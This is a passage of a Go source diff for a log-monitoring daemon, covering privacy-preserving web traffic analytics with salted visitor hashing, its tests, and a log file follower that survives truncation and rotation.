|
||||
d := &domData{}
|
||||
s.tr.dom[name] = d
|
||||
return d
|
||||
}
|
||||
|
||||
var uuidRe = regexp.MustCompile(`^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$`)
|
||||
|
||||
// normalizePath turns token-like path segments (UUIDs, long hex or mixed
|
||||
// alphanumeric ids, long numbers) into ":id" so a top-pages list is not
|
||||
// filled by one-off URLs and a token in a URL is not kept.
|
||||
func normalizePath(p string) string {
|
||||
if !strings.ContainsAny(p, "0123456789") {
|
||||
return p
|
||||
}
|
||||
parts := strings.Split(p, "/")
|
||||
for i, seg := range parts {
|
||||
if len(seg) >= 16 && uuidRe.MatchString(seg) {
|
||||
parts[i] = ":id"
|
||||
continue
|
||||
}
|
||||
if len(seg) >= 16 && !strings.ContainsAny(seg, "-_.") && strings.ContainsAny(seg, "0123456789") && alnum(seg) {
|
||||
parts[i] = ":id"
|
||||
continue
|
||||
}
|
||||
if len(seg) >= 8 && allDigits(seg) {
|
||||
parts[i] = ":id"
|
||||
}
|
||||
}
|
||||
return strings.Join(parts, "/")
|
||||
}
|
||||
|
||||
func alnum(s string) bool {
|
||||
for _, r := range s {
|
||||
if !(r >= '0' && r <= '9' || r >= 'a' && r <= 'z' || r >= 'A' && r <= 'Z') {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func allDigits(s string) bool {
|
||||
for _, r := range s {
|
||||
if r < '0' || r > '9' {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// Traffic records one legitimate request (category ok or notfound) for the
|
||||
// analytics view. Attack traffic, monitoring probes and forged monitors must
|
||||
// not be passed here.
|
||||
func (s *Store) Traffic(ev core.Event) {
|
||||
now := s.now()
|
||||
if ev.Time.Before(now.Add(-s.cfg.Retention)) || ev.Source != "traefik" {
|
||||
return
|
||||
}
|
||||
ts := ev.Time.Unix()
|
||||
if max := now.Unix() + 300; ts > max {
|
||||
ts = max
|
||||
}
|
||||
dom := normDomain(ev.Domain)
|
||||
day := ts / 86400
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
d := s.domLocked(dom, ev.Status)
|
||||
if d == nil {
|
||||
return
|
||||
}
|
||||
d.Last = ts
|
||||
|
||||
m := ts / 60
|
||||
mi := int(m % anMinutes)
|
||||
if d.MinSt[mi] != m {
|
||||
d.MinSt[mi], d.MinReq[mi], d.MinPages[mi] = m, 0, 0
|
||||
}
|
||||
d.MinReq[mi]++
|
||||
|
||||
h := ts / 3600
|
||||
hs := &d.Hours[int(h%hourSlots)]
|
||||
if hs.Hour != h {
|
||||
*hs = anHour{Hour: h}
|
||||
}
|
||||
hs.Req++
|
||||
hs.Bytes += uint64(max64(ev.Bytes, 0))
|
||||
if c := ev.Status/100 - 2; c >= 0 && c < 4 {
|
||||
hs.S[c]++
|
||||
}
|
||||
if ev.DurationNS > 0 {
|
||||
hs.Lat[latBucket(ev.DurationNS)]++
|
||||
}
|
||||
|
||||
dd := &d.Days[int(day%8)]
|
||||
if dd.Day != day {
|
||||
*dd = anDay{Day: day}
|
||||
}
|
||||
if ev.E.Bot {
|
||||
hs.Bots++
|
||||
name := ev.E.BotName
|
||||
if name == "" {
|
||||
name = "bot"
|
||||
}
|
||||
bumpCap(&dd.Bots, name, anTop)
|
||||
return
|
||||
}
|
||||
if !isPageView(ev) {
|
||||
return
|
||||
}
|
||||
hs.Pages++
|
||||
d.MinPages[mi]++
|
||||
p := ev.Path
|
||||
if i := strings.IndexAny(p, "?#"); i >= 0 {
|
||||
p = p[:i]
|
||||
}
|
||||
bumpCap(&dd.Pages, normalizePath(p), anTop)
|
||||
bumpCap(&dd.Refs, refHost(ev.Referer, dom), anTop)
|
||||
|
||||
// unique visitor, today's salt
|
||||
if s.tr.saltDay != day {
|
||||
rand.Read(s.tr.salt[:])
|
||||
s.tr.saltDay = day
|
||||
}
|
||||
if d.visDay != day || d.vis == nil {
|
||||
if day < d.visDay {
|
||||
return // older than the day being counted (out of order): no visitor accounting
|
||||
}
|
||||
d.vis, d.visDay = make(map[uint64]struct{}, 64), day
|
||||
}
|
||||
hsum := sha256.New()
|
||||
hsum.Write(s.tr.salt[:])
|
||||
hsum.Write([]byte(ev.IP))
|
||||
hsum.Write([]byte{0})
|
||||
hsum.Write([]byte(ev.UA))
|
||||
hsum.Write([]byte{0})
|
||||
hsum.Write([]byte(dom))
|
||||
var sum [32]byte
|
||||
hsum.Sum(sum[:0])
|
||||
var key uint64
|
||||
for i := 0; i < 8; i++ {
|
||||
key = key<<8 | uint64(sum[i])
|
||||
}
|
||||
if _, seen := d.vis[key]; seen || len(d.vis) >= visCap {
|
||||
return
|
||||
}
|
||||
d.vis[key] = struct{}{}
|
||||
dd.Visitors++
|
||||
if ev.E.CC != "" {
|
||||
bumpCap(&dd.Countries, ev.E.CC, 300)
|
||||
}
|
||||
if ev.E.City != "" {
|
||||
city := ev.E.City
|
||||
if ev.E.CC != "" {
|
||||
city += ", " + ev.E.CC
|
||||
}
|
||||
bumpCap(&dd.Cities, city, anTop)
|
||||
}
|
||||
bumpCap(&dd.Browsers, orUnknown(ev.E.Browser), anTop)
|
||||
bumpCap(&dd.OSes, orUnknown(ev.E.OS), anTop)
|
||||
bumpCap(&dd.Devices, orUnknown(ev.E.Device), 10)
|
||||
}
|
||||
|
||||
func max64(a, b int64) int64 {
|
||||
if a > b {
|
||||
return a
|
||||
}
|
||||
return b
|
||||
}
|
||||
|
||||
func orUnknown(s string) string {
|
||||
if s == "" {
|
||||
return "unknown"
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
// TrafficData is the mergeable analytics payload.
|
||||
type TrafficData struct {
|
||||
Host string `json:"host"`
|
||||
Range string `json:"range"`
|
||||
Domain string `json:"domain"`
|
||||
Generated int64 `json:"generated"`
|
||||
Domains []Count `json:"domains"`
|
||||
Requests uint64 `json:"requests"`
|
||||
Pages uint64 `json:"pages"`
|
||||
Visitors uint64 `json:"visitors"`
|
||||
Bots uint64 `json:"bots"`
|
||||
Bytes uint64 `json:"bytes"`
|
||||
Status [4]uint64 `json:"status"`
|
||||
Lat [latN]uint64 `json:"lat"`
|
||||
P50 float64 `json:"p50_ms"`
|
||||
P95 float64 `json:"p95_ms"`
|
||||
Timeline struct {
|
||||
Start int64 `json:"start"`
|
||||
Step int64 `json:"step"`
|
||||
Req []uint32 `json:"req"`
|
||||
Pages []uint32 `json:"pages"`
|
||||
} `json:"timeline"`
|
||||
TopPages []Count `json:"top_pages"`
|
||||
Referrers []Count `json:"referrers"`
|
||||
Countries []Count `json:"countries"`
|
||||
Cities []Count `json:"cities"`
|
||||
Browsers []Count `json:"browsers"`
|
||||
OSes []Count `json:"oses"`
|
||||
Devices []Count `json:"devices"`
|
||||
BotNames []Count `json:"bot_names"`
|
||||
}
|
||||
|
||||
func quantile(h [latN]uint64, q float64) float64 {
|
||||
var total uint64
|
||||
for _, v := range h {
|
||||
total += v
|
||||
}
|
||||
if total == 0 {
|
||||
return 0
|
||||
}
|
||||
target := q * float64(total)
|
||||
var cum float64
|
||||
lower := 0.0
|
||||
for i, v := range h {
|
||||
upper := 20000.0
|
||||
if i < len(latBounds) {
|
||||
upper = latBounds[i]
|
||||
}
|
||||
if cum+float64(v) >= target && v > 0 {
|
||||
return lower + (upper-lower)*(target-cum)/float64(v)
|
||||
}
|
||||
cum += float64(v)
|
||||
lower = upper
|
||||
}
|
||||
return lower
|
||||
}
|
||||
|
||||
// Finish recomputes derived values (percentiles) after a merge.
|
||||
func (t *TrafficData) Finish() {
|
||||
t.P50, t.P95 = round1(quantile(t.Lat, 0.5)), round1(quantile(t.Lat, 0.95))
|
||||
}
|
||||
|
||||
// Traffic returns the analytics of one domain ("" or "all": every domain).
|
||||
func (s *Store) TrafficSummary(rangeName, domain string) TrafficData {
|
||||
rg := ParseRange(rangeName)
|
||||
now := s.now().Unix()
|
||||
out := TrafficData{Host: s.cfg.Name, Range: rg.Name, Domain: domain, Generated: now}
|
||||
if out.Domain == "" {
|
||||
out.Domain = "all"
|
||||
}
|
||||
// timeline grid
|
||||
var nb int
|
||||
var step int64
|
||||
switch rg.Name {
|
||||
case "1h":
|
||||
nb, step = 60, 60
|
||||
case "24h":
|
||||
nb, step = 96, 900
|
||||
default:
|
||||
nb, step = 168, 3600
|
||||
}
|
||||
endB := now / step
|
||||
start := (endB - int64(nb) + 1) * step
|
||||
out.Timeline.Start, out.Timeline.Step = start, step
|
||||
out.Timeline.Req, out.Timeline.Pages = make([]uint32, nb), make([]uint32, nb)
|
||||
|
||||
firstHour := (now - int64(rg.Dur.Seconds())) / 3600
|
||||
firstDay := (now - int64(rg.Dur.Seconds())) / 86400
|
||||
maps := [8]map[string]uint32{{}, {}, {}, {}, {}, {}, {}, {}}
|
||||
domReq := map[string]uint32{}
|
||||
|
||||
s.mu.RLock()
|
||||
for name, d := range s.tr.dom {
|
||||
var reqRange uint32
|
||||
for i := range d.Hours {
|
||||
h := &d.Hours[i]
|
||||
if h.Hour == 0 || h.Hour < firstHour || h.Hour > now/3600+1 {
|
||||
continue
|
||||
}
|
||||
reqRange += h.Req
|
||||
if out.Domain != "all" && out.Domain != name {
|
||||
continue
|
||||
}
|
||||
if rg.Name == "7d" {
|
||||
out.Requests += uint64(h.Req)
|
||||
out.Pages += uint64(h.Pages)
|
||||
if b := (h.Hour*3600 - start) / step; b >= 0 && b < int64(nb) {
|
||||
out.Timeline.Req[b] += h.Req
|
||||
out.Timeline.Pages[b] += h.Pages
|
||||
}
|
||||
}
|
||||
out.Bots += uint64(h.Bots)
|
||||
out.Bytes += h.Bytes
|
||||
for k, v := range h.S {
|
||||
out.Status[k] += uint64(v)
|
||||
}
|
||||
for k, v := range h.Lat {
|
||||
out.Lat[k] += uint64(v)
|
||||
}
|
||||
}
|
||||
domReq[name] = reqRange
|
||||
if out.Domain != "all" && out.Domain != name {
|
||||
continue
|
||||
}
|
||||
if rg.Name != "7d" {
|
||||
for m := start / 60; m <= now/60; m++ {
|
||||
i := int(m % anMinutes)
|
||||
if d.MinSt[i] != m {
|
||||
continue
|
||||
}
|
||||
out.Requests += uint64(d.MinReq[i])
|
||||
out.Pages += uint64(d.MinPages[i])
|
||||
if b := (m*60 - start) / step; b >= 0 && b < int64(nb) {
|
||||
out.Timeline.Req[b] += d.MinReq[i]
|
||||
out.Timeline.Pages[b] += d.MinPages[i]
|
||||
}
|
||||
}
|
||||
}
|
||||
for i := range d.Days {
|
||||
dd := &d.Days[i]
|
||||
if dd.Day == 0 || dd.Day < firstDay || dd.Day > now/86400 {
|
||||
continue
|
||||
}
|
||||
out.Visitors += uint64(dd.Visitors)
|
||||
for k, src := range [8]map[string]uint32{dd.Pages, dd.Refs, dd.Countries, dd.Cities, dd.Browsers, dd.OSes, dd.Devices, dd.Bots} {
|
||||
for key, v := range src {
|
||||
maps[k][key] += v
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
s.mu.RUnlock()
|
||||
|
||||
for name, n := range domReq {
|
||||
if n > 0 {
|
||||
out.Domains = append(out.Domains, Count{Key: name, N: n})
|
||||
}
|
||||
}
|
||||
sort.Slice(out.Domains, func(i, j int) bool {
|
||||
if out.Domains[i].N != out.Domains[j].N {
|
||||
return out.Domains[i].N > out.Domains[j].N
|
||||
}
|
||||
return out.Domains[i].Key < out.Domains[j].Key
|
||||
})
|
||||
out.TopPages, out.Referrers, out.Countries, out.Cities = topN(maps[0], anTop), topN(maps[1], anTop), topN(maps[2], 120), topN(maps[3], anTop)
|
||||
out.Browsers, out.OSes, out.Devices, out.BotNames = topN(maps[4], anTop), topN(maps[5], anTop), topN(maps[6], 10), topN(maps[7], anTop)
|
||||
// Visitors come from daily buckets, pages from exact minutes: never report more visitors than page views.
|
||||
if out.Visitors > out.Pages {
|
||||
out.Visitors = out.Pages
|
||||
}
|
||||
out.Finish()
|
||||
return out
|
||||
}
|
||||
|
||||
// MergeTraffic combines per-host analytics of the same range and domain.
|
||||
func MergeTraffic(host string, parts []TrafficData) TrafficData {
|
||||
if len(parts) == 0 {
|
||||
return TrafficData{Host: host}
|
||||
}
|
||||
out := TrafficData{Host: host, Range: parts[0].Range, Domain: parts[0].Domain, Generated: parts[0].Generated}
|
||||
out.Timeline.Start, out.Timeline.Step = parts[0].Timeline.Start, parts[0].Timeline.Step
|
||||
nb := len(parts[0].Timeline.Req)
|
||||
out.Timeline.Req, out.Timeline.Pages = make([]uint32, nb), make([]uint32, nb)
|
||||
var doms, pages, refs, ctry, cities, br, oses, dev, bots [][]Count
|
||||
for _, p := range parts {
|
||||
out.Requests += p.Requests
|
||||
out.Pages += p.Pages
|
||||
out.Visitors += p.Visitors
|
||||
out.Bots += p.Bots
|
||||
out.Bytes += p.Bytes
|
||||
for i := range p.Status {
|
||||
out.Status[i] += p.Status[i]
|
||||
}
|
||||
for i := range p.Lat {
|
||||
out.Lat[i] += p.Lat[i]
|
||||
}
|
||||
if p.Timeline.Step == out.Timeline.Step && out.Timeline.Step > 0 {
|
||||
shift := (p.Timeline.Start - out.Timeline.Start) / out.Timeline.Step
|
||||
for i := range p.Timeline.Req {
|
||||
if j := int64(i) + shift; j >= 0 && j < int64(nb) {
|
||||
out.Timeline.Req[j] += p.Timeline.Req[i]
|
||||
out.Timeline.Pages[j] += p.Timeline.Pages[i]
|
||||
}
|
||||
}
|
||||
}
|
||||
doms, pages, refs = append(doms, p.Domains), append(pages, p.TopPages), append(refs, p.Referrers)
|
||||
ctry, cities, br = append(ctry, p.Countries), append(cities, p.Cities), append(br, p.Browsers)
|
||||
oses, dev, bots = append(oses, p.OSes), append(dev, p.Devices), append(bots, p.BotNames)
|
||||
}
|
||||
out.Domains, out.TopPages, out.Referrers = mergeCounts(maxDomains+1, doms...), mergeCounts(anTop, pages...), mergeCounts(anTop, refs...)
|
||||
out.Countries, out.Cities, out.Browsers = mergeCounts(120, ctry...), mergeCounts(anTop, cities...), mergeCounts(anTop, br...)
|
||||
out.OSes, out.Devices, out.BotNames = mergeCounts(anTop, oses...), mergeCounts(10, dev...), mergeCounts(anTop, bots...)
|
||||
out.Finish()
|
||||
return out
|
||||
}
|
||||
@@ -0,0 +1,143 @@
|
||||
package store
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core"
|
||||
)
|
||||
|
||||
func visit(ip, dom, path, ref string, status int, ago time.Duration) core.Event {
|
||||
return core.Event{Time: t0.Add(-ago), IP: ip, Cat: core.OK, Source: "traefik", Domain: dom, Method: "GET", Path: path, UA: "Mozilla/5.0 test",
|
||||
Status: status, DurationNS: 40e6, Bytes: 1000, Referer: ref,
|
||||
E: core.Enrich{CC: "BR", City: "Recife", Browser: "Firefox", OS: "Linux", Device: "desktop"}}
|
||||
}
|
||||
|
||||
func TestTrafficAggregatesAndPrivacy(t *testing.T) {
|
||||
s := newStore("oracle", 100)
|
||||
for i := 0; i < 5; i++ {
|
||||
s.Traffic(visit("200.100.50.25", "a.example", "/blog", "https://www.google.com/search?q=x", 200, time.Duration(i)*time.Minute))
|
||||
}
|
||||
s.Traffic(visit("200.100.50.26", "a.example", "/", "https://a.example/blog", 200, time.Minute))
|
||||
s.Traffic(visit("200.100.50.26", "a.example", "/style.css", "", 200, time.Minute))
|
||||
s.Traffic(visit("200.100.50.27", "b.example", "/s.css", "", 200, time.Minute))
|
||||
s.Traffic(visit("200.100.50.27", "b.example", "/x", "", 404, time.Minute))
|
||||
bot := visit("66.249.66.1", "a.example", "/", "", 200, time.Minute)
|
||||
bot.E = core.Enrich{Bot: true, BotName: "Googlebot", Device: "bot"}
|
||||
s.Traffic(bot)
|
||||
|
||||
all := s.TrafficSummary("24h", "all")
|
||||
if all.Requests != 10 || all.Pages != 6 || all.Visitors != 2 || all.Bots != 1 {
|
||||
t.Fatalf("all: %+v", all)
|
||||
}
|
||||
if all.Status[0] != 9 || all.Status[2] != 1 || all.Bytes != 10000 {
|
||||
t.Fatalf("status/bytes %+v %d", all.Status, all.Bytes)
|
||||
}
|
||||
if all.P50 < 25 || all.P50 > 50 || all.P95 < 25 || all.P95 > 50 {
|
||||
t.Fatalf("latency p50=%v p95=%v", all.P50, all.P95)
|
||||
}
|
||||
if len(all.Domains) != 2 || all.Domains[0].Key != "a.example" {
|
||||
t.Fatalf("domains %+v", all.Domains)
|
||||
}
|
||||
if len(all.Referrers) != 1 || all.Referrers[0].Key != "google.com" || all.Referrers[0].N != 5 {
|
||||
t.Fatalf("referrers (self referrals are not external): %+v", all.Referrers)
|
||||
}
|
||||
if all.Countries[0].Key != "BR" || all.Cities[0].Key != "Recife, BR" || all.Browsers[0].Key != "Firefox" || all.BotNames[0].Key != "Googlebot" {
|
||||
t.Fatalf("breakdowns %+v", all)
|
||||
}
|
||||
for _, p := range all.TopPages {
|
||||
if p.Key == "/style.css" {
|
||||
t.Fatal("assets are not pages")
|
||||
}
|
||||
}
|
||||
a := s.TrafficSummary("24h", "a.example")
|
||||
if a.Requests != 8 || a.Visitors != 2 {
|
||||
t.Fatalf("per domain %+v", a)
|
||||
}
|
||||
var tl uint32
|
||||
for _, v := range a.Timeline.Req {
|
||||
tl += v
|
||||
}
|
||||
if tl != 8 {
|
||||
t.Fatalf("timeline %d", tl)
|
||||
}
|
||||
if w := s.TrafficSummary("7d", "a.example"); w.Requests != 8 || w.Visitors != 2 {
|
||||
t.Fatalf("7d %+v", w)
|
||||
}
|
||||
|
||||
// privacy: the visitor IPs reach neither the snapshot nor any API payload
|
||||
p := filepath.Join(t.TempDir(), "state.gob")
|
||||
if err := s.Save(p, nil); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
raw, _ := os.ReadFile(p)
|
||||
api, _ := json.Marshal([]any{all, a, s.Summary("24h"), s.AllIPs(ParseRange("7d"), true)})
|
||||
for _, ip := range []string{"200.100.50.25", "200.100.50.26", "200.100.50.27", "66.249.66.1"} {
|
||||
if bytes.Contains(raw, []byte(ip)) || bytes.Contains(api, []byte(ip)) {
|
||||
t.Fatalf("visitor IP %s leaked", ip)
|
||||
}
|
||||
if _, ok := s.IP(ip); ok {
|
||||
t.Fatalf("visitor IP %s is in the threat table", ip)
|
||||
}
|
||||
}
|
||||
if bytes.Contains(raw, s.tr.salt[:]) {
|
||||
t.Fatal("the daily salt must never reach the disk")
|
||||
}
|
||||
if s.tr.saltDay == 0 {
|
||||
t.Fatal("test precondition: a salt was generated")
|
||||
}
|
||||
// the snapshot restores the aggregates
|
||||
s2 := newStore("oracle", 100)
|
||||
if _, err := s2.Load(p); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if r := s2.TrafficSummary("24h", "all"); r.Requests != 10 || r.Visitors != 2 {
|
||||
t.Fatalf("restored %+v", r)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMergeTrafficAndDomainCap(t *testing.T) {
|
||||
a, b := newStore("oracle", 10), newStore("hostinger", 10)
|
||||
a.Traffic(visit("1.1.1.1", "a.example", "/", "", 200, time.Minute))
|
||||
b.Traffic(visit("2.2.2.2", "a.example", "/", "", 200, time.Minute))
|
||||
b.Traffic(visit("2.2.2.3", "c.example", "/", "", 200, time.Minute))
|
||||
m := MergeTraffic("all", []TrafficData{a.TrafficSummary("1h", "all"), b.TrafficSummary("1h", "all")})
|
||||
if m.Requests != 3 || m.Visitors != 3 || len(m.Domains) != 2 || m.Domains[0].N != 2 || m.Countries[0].N != 3 {
|
||||
t.Fatalf("%+v", m)
|
||||
}
|
||||
c := newStore("x", 10)
|
||||
for i := 0; i < 60; i++ {
|
||||
c.Traffic(visit("1.1.1.1", "d"+string(rune('a'+i%26))+string(rune('a'+i/26))+".example", "/", "", 200, time.Minute))
|
||||
}
|
||||
if len(c.tr.dom) > maxDomains+1 {
|
||||
t.Fatalf("domain cap: %d", len(c.tr.dom))
|
||||
}
|
||||
}
|
||||
|
||||
func TestToolBonusAndCountries(t *testing.T) {
|
||||
s := newStore("x", 100)
|
||||
e := ev("9.9.9.9", core.Scanner, time.Minute)
|
||||
e.E = core.Enrich{CC: "RU", Tool: true}
|
||||
s.Ingest(e)
|
||||
n := ev("9.9.9.8", core.NotFound, time.Minute)
|
||||
s.Ingest(n)
|
||||
if _, ok := s.IP("9.9.9.8"); ok {
|
||||
t.Fatal("404 without tool must not be tracked")
|
||||
}
|
||||
n.E.Tool = true
|
||||
n.IP = "9.9.9.7"
|
||||
s.Ingest(n)
|
||||
if r, ok := s.IP("9.9.9.9"); !ok || r.Score != 5 {
|
||||
t.Fatalf("tool bonus: %+v", r)
|
||||
}
|
||||
if r, ok := s.IP("9.9.9.7"); !ok || r.Score != 2.2 {
|
||||
t.Fatalf("tool 404: %+v", r)
|
||||
}
|
||||
if c := s.Summary("1h").Countries; len(c) != 1 || c[0].Key != "RU" || c[0].N != 1 {
|
||||
t.Fatalf("countries %+v", c)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,74 @@
|
||||
package tail
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sync"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// copytruncate where the application regrows the file past the old offset
|
||||
// before the next poll: the size never looks smaller, the head changes.
|
||||
func TestCopytruncateRegrowIsDetected(t *testing.T) {
|
||||
p := filepath.Join(t.TempDir(), "a.log")
|
||||
os.WriteFile(p, []byte("l1\nl2\nl3\n"), 0o644)
|
||||
var mu sync.Mutex
|
||||
var got []string
|
||||
f := NewFollower(p, Pos{})
|
||||
f.Handle = func(b []byte) { mu.Lock(); got = append(got, string(b)); mu.Unlock() }
|
||||
f.step()
|
||||
os.WriteFile(p, []byte("n1\nn2\nn3\nn4\nn5\n"), 0o644) // truncated in place and regrown beyond offset 9
|
||||
f.step()
|
||||
f.step()
|
||||
want := []string{"l1", "l2", "l3", "n1", "n2", "n3", "n4", "n5"}
|
||||
if len(got) != len(want) {
|
||||
t.Fatalf("lines %v, want %v", got, want)
|
||||
}
|
||||
for i := range want {
|
||||
if got[i] != want[i] {
|
||||
t.Fatalf("lines %v, want %v", got, want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// the same while the daemon was stopped: the saved position carries the fingerprint.
|
||||
func TestSavedPositionDetectsRegrownFile(t *testing.T) {
|
||||
p := filepath.Join(t.TempDir(), "a.log")
|
||||
os.WriteFile(p, []byte("l1\nl2\nl3\n"), 0o644)
|
||||
f := NewFollower(p, Pos{})
|
||||
f.Handle = func([]byte) {}
|
||||
f.step()
|
||||
pos := f.Pos()
|
||||
f.closeFile()
|
||||
if pos.FPLen == 0 {
|
||||
t.Fatal("the position must carry a fingerprint")
|
||||
}
|
||||
os.WriteFile(p, []byte("n1\nn2\nn3\nn4\nn5\n"), 0o644)
|
||||
var got []string
|
||||
g := NewFollower(p, pos)
|
||||
g.Handle = func(b []byte) { got = append(got, string(b)) }
|
||||
g.step()
|
||||
if len(got) != 5 || got[0] != "n1" {
|
||||
t.Fatalf("resumed in the middle of a different file: %v", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestFileAppearingLaterAndAppends(t *testing.T) {
|
||||
p := filepath.Join(t.TempDir(), "later.log")
|
||||
var got []string
|
||||
f := NewFollower(p, Pos{})
|
||||
f.Handle = func(b []byte) { got = append(got, string(b)) }
|
||||
f.step()
|
||||
if f.Err() == nil {
|
||||
t.Fatal("an absent file is reported")
|
||||
}
|
||||
os.WriteFile(p, []byte("a\nb\n"), 0o644)
|
||||
f.step()
|
||||
fh, _ := os.OpenFile(p, os.O_APPEND|os.O_WRONLY, 0)
|
||||
fh.WriteString("c\n")
|
||||
fh.Close()
|
||||
f.step()
|
||||
if len(got) != 3 || got[2] != "c" || f.Err() != nil {
|
||||
t.Fatalf("%v %v", got, f.Err())
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,380 @@
|
||||
// Package tail follows a log file across truncation and rotation, and reads
|
||||
// rotated backups for backfill.
|
||||
package tail
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"compress/gzip"
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"sort"
|
||||
"strings"
|
||||
"sync"
|
||||
"syscall"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Pos is the resumable position inside a followed file.
|
||||
type Pos struct {
|
||||
Inode uint64
|
||||
Offset int64
|
||||
// FP fingerprints the first FPLen bytes of the file (FNV-1a). It catches
|
||||
// copytruncate rotations where the file shrinks and regrows past the saved
|
||||
// offset between two polls: the size alone would not show it.
|
||||
FP uint64
|
||||
FPLen int
|
||||
}
|
||||
|
||||
const fpMax = 64
|
||||
|
||||
func fingerprint(b []byte) uint64 {
|
||||
h := uint64(14695981039346656037)
|
||||
for _, c := range b {
|
||||
h ^= uint64(c)
|
||||
h *= 1099511628211
|
||||
}
|
||||
return h
|
||||
}
|
||||
|
||||
// headMatches reports whether the first fpLen bytes of fh still hash to fp.
|
||||
func headMatches(fh *os.File, fp uint64, fpLen int) bool {
|
||||
buf := make([]byte, fpLen)
|
||||
n, err := fh.ReadAt(buf, 0)
|
||||
return n == fpLen && (err == nil || err == io.EOF) && fingerprint(buf) == fp
|
||||
}
|
||||
|
||||
// Follower reads complete lines from Path as they appear.
|
||||
type Follower struct {
|
||||
Path string
|
||||
MaxLine int // lines longer than this are skipped and reported
|
||||
Poll time.Duration // default 500ms
|
||||
Handle func(line []byte) // must not retain line
|
||||
Oversize func() // called once per skipped oversized line
|
||||
// Mu, when set, is held while Handle runs and the position advances, so a
|
||||
// snapshot taking the same mutex sees state and offsets in agreement.
|
||||
Mu *sync.Mutex
|
||||
|
||||
mu sync.Mutex
|
||||
pos Pos
|
||||
err error
|
||||
f *os.File
|
||||
rd *bufio.Reader
|
||||
// tail of an unterminated line, and whether we are discarding an oversized one
|
||||
partial []byte
|
||||
pending int
|
||||
discard bool
|
||||
}
|
||||
|
||||
// NewFollower resumes from pos (zero value: start at the beginning).
|
||||
func NewFollower(path string, pos Pos) *Follower {
|
||||
return &Follower{Path: path, pos: pos, MaxLine: 64 * 1024, Poll: 500 * time.Millisecond}
|
||||
}
|
||||
|
||||
// Pos returns the current position.
|
||||
func (f *Follower) Pos() Pos { f.mu.Lock(); defer f.mu.Unlock(); return f.pos }
|
||||
|
||||
// Err returns the last open/read error, nil when the file is being followed.
|
||||
func (f *Follower) Err() error { f.mu.Lock(); defer f.mu.Unlock(); return f.err }
|
||||
|
||||
func (f *Follower) setErr(err error) { f.mu.Lock(); f.err = err; f.mu.Unlock() }
|
||||
|
||||
func inodeOf(fi os.FileInfo) uint64 {
|
||||
if st, ok := fi.Sys().(*syscall.Stat_t); ok {
|
||||
return uint64(st.Ino)
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
func (f *Follower) closeFile() {
|
||||
if f.f != nil {
|
||||
f.f.Close()
|
||||
f.f, f.rd = nil, nil
|
||||
}
|
||||
f.partial, f.discard, f.pending = nil, false, 0
|
||||
}
|
||||
|
||||
func (f *Follower) open() error {
|
||||
fh, err := os.Open(f.Path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
fi, err := fh.Stat()
|
||||
if err != nil {
|
||||
fh.Close()
|
||||
return err
|
||||
}
|
||||
ino := inodeOf(fi)
|
||||
p := f.Pos()
|
||||
off := p.Offset
|
||||
// A different inode than the saved one means the file was rotated while we
|
||||
// were not looking; so does an offset past the end (truncation).
|
||||
if (p.Inode != 0 && p.Inode != ino) || off > fi.Size() || off < 0 {
|
||||
off = 0
|
||||
}
|
||||
if off > 0 && p.FPLen > 0 && !headMatches(fh, p.FP, p.FPLen) {
|
||||
off = 0 // same inode, different content at the start: truncated and regrown while we were away
|
||||
}
|
||||
if off > 0 {
|
||||
if _, err := fh.Seek(off, io.SeekStart); err != nil {
|
||||
fh.Close()
|
||||
return err
|
||||
}
|
||||
}
|
||||
f.f = fh
|
||||
f.rd = bufio.NewReaderSize(fh, 64*1024)
|
||||
f.partial, f.discard, f.pending = nil, false, 0
|
||||
f.mu.Lock()
|
||||
f.pos = Pos{Inode: ino, Offset: off}
|
||||
if off > 0 {
|
||||
f.pos.FP, f.pos.FPLen = p.FP, p.FPLen
|
||||
}
|
||||
f.mu.Unlock()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *Follower) emit(line []byte, consumed int) {
|
||||
if f.Mu != nil {
|
||||
f.Mu.Lock()
|
||||
}
|
||||
if line != nil {
|
||||
f.Handle(line)
|
||||
}
|
||||
f.mu.Lock()
|
||||
f.pos.Offset += int64(consumed)
|
||||
f.mu.Unlock()
|
||||
if f.Mu != nil {
|
||||
f.Mu.Unlock()
|
||||
}
|
||||
}
|
||||
|
||||
// drain reads until EOF, emitting complete lines. The offset only advances
|
||||
// past whole lines, so a restart never resumes in the middle of one.
|
||||
func (f *Follower) drain() error {
|
||||
for {
|
||||
chunk, err := f.rd.ReadSlice('\n')
|
||||
if len(chunk) > 0 {
|
||||
f.pending += len(chunk)
|
||||
if !f.discard {
|
||||
if len(f.partial)+len(chunk) > f.MaxLine+2 {
|
||||
f.discard = true
|
||||
f.partial = f.partial[:0]
|
||||
if f.Oversize != nil {
|
||||
f.Oversize()
|
||||
}
|
||||
} else {
|
||||
f.partial = append(f.partial, chunk...)
|
||||
}
|
||||
}
|
||||
if chunk[len(chunk)-1] == '\n' {
|
||||
var line []byte
|
||||
if !f.discard {
|
||||
line = trimEOL(f.partial)
|
||||
if line == nil {
|
||||
line = []byte{}
|
||||
}
|
||||
}
|
||||
